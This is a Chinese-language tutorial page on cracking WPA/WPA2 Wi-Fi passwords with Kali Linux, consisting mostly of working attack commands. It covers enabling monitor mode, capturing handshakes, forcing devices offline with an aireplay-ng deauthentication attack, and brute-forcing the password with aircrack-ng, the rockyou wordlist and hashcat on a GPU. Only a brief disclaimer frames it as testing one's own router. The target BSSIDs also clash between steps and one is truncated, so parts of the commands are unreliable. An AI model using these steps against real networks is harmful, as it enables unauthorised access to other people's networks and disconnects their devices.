明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺!

kali linux破解wifi圖文說明教程wpa/wpa2,kali linux使用圖文說明教程

[摘要]Kali Linux能做很多事,但是它主要以滲透測試及’破解wifi密碼’聞名。如果你使用Macbook 請看 使用macbook破解WPA/WPA2 wifi密碼要求:安裝有Kali Linux的...

Kali Linux能做很多事,但是它主要以滲透測試及’破解wifi密碼’聞名。

如果你使用Macbook 請看 使用macbook破解WPA/WPA2 wifi密碼

要求:

安裝有Kali Linux的計算機

支持監(jiān)控模式的網(wǎng)卡,筆記本電腦一般都支持

字典文件

時間和耐心

這種攻擊需要字典文件,一個好的字典至關(guān)重要。我以Kali Linux自帶的rockyou字典為例,位于/user/share/wordlists/rockyou.txt.gz。

使用前先解壓:

# gzip -d /usr/share/wordlists/rockyou.txt.gz

注意:破解其他人的wifi密碼是“犯罪”,so,don’t;我使用自己的無線路由器演示。
知道了攻擊方法,你自然就知道怎么防范了。

1)首先斷開連接的wifi。

在終端中執(zhí)行:

# airmon-ng

kali linux破解wifi教程wpa/wpa2,kali linux使用教程

上面命令列出了支持監(jiān)控模式的無線網(wǎng)卡。如果沒有任何輸出,表示無線網(wǎng)卡不支持監(jiān)控模式。你可以看到我的wlan0支持監(jiān)控模式。

2)開啟無線網(wǎng)卡的監(jiān)控模式

# airmon-ng start wlan0

kali linux破解wifi教程wpa/wpa2,kali linux使用教程
執(zhí)行成功之后網(wǎng)卡接口變?yōu)閣lan0mon;可以使用ifconfig命令查看。

3)查看wifi網(wǎng)絡(luò)

# airodump-ng wlan0mon

上面列出了周圍的wifi和它們的詳細信息,包括信號強度、加密類型、頻道等。要記住要破解wifi的頻道號和BSSID。

按Ctrl-C結(jié)束。

4)抓取握手包

使用網(wǎng)卡的監(jiān)聽模式抓取周圍的無線網(wǎng)絡(luò)數(shù)據(jù)包。其中,對我們最重要的數(shù)據(jù)包是:包含密碼的包-也叫握手包。當(dāng)有新用戶或斷開用戶自動連接wifi時,會發(fā)送握手包。

開始抓包:

# airodump-ng -c 6 --bssid BC:46:99:66:F9:84  -w ~/ wlan0mon

參數(shù)解釋:

-c指定頻道號

–bssid指定路由器bssid

-w指定抓取的數(shù)據(jù)包保存位置

kali linux破解wifi教程wpa/wpa2,kali linux使用教程

5)強制連接到wifi的設(shè)備重新連接路由器

現(xiàn)在我們只要等用戶連接/重連接wifi了,運氣不好也許要很長時間。

但是我們是不會等的,這不是耐心黑客該干的事。有一個叫aireplay-ng的工具,它可以強制用戶斷開wifi連接;原理是,給連接到wifi的一個設(shè)備發(fā)送一個deauth(反認證)包,讓那個設(shè)備斷開wifi,隨后它自然會再次連接wifi。

aireplay-ng的生效前提是,wifi網(wǎng)絡(luò)中至少有一個連接的設(shè)備。從上圖(4)可以看到哪些設(shè)備連接到了wifi,STATION就是連接設(shè)備的MAC地址,記住一個。

aircrack-ng官網(wǎng)

打開新終端執(zhí)行:

aireplay-ng -0 2 -a 46:99:66:F9:84 -c B8:E8:56:09:CC:9C wlan0mon

參數(shù)解釋:

-0表示發(fā)起deauthentication攻擊

-a指定無線路由器BSSID

-c指定強制斷開的設(shè)備

kali linux破解wifi教程wpa/wpa2,kali linux使用教程

如果成功:

kali linux破解wifi教程wpa/wpa2,kali linux使用教程

按Ctrl-C結(jié)束抓包。

我們已經(jīng)得到了想要的握手包了,可以結(jié)束無線網(wǎng)卡的監(jiān)控模式了:

# airmon-ng stop wlan0mon

kali linux破解wifi教程wpa/wpa2,kali linux使用教程

6) 開始破解密碼

# aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap

參數(shù)解釋:

-a2代表WPA的握手包

-b指定要破解的wifi BSSID。

-w指定字典文件

最后是抓取的包

kali linux破解wifi教程wpa/wpa2,kali linux使用教程

可選)使用顯卡的運算能力

如果你有一個強大的GPU,為什么不使用GPU跑字典呢?

Hashcat可以借助GPU的運算力破解各種不同算法的hash值。

下載時要注意選擇正確的顯卡類型(AMD、NVidia)。Kali Linux自帶這個工具。

在破解cap文件之前,要把它轉(zhuǎn)換為hccap文件:

# aircrack-ng file.cap -J out.hccap

使用GPU破解hash:

# hashcat -m 2500 out.hccap 字典文件

大多數(shù)人在上網(wǎng)的時候,都會瀏覽網(wǎng)頁提供給我們的信息。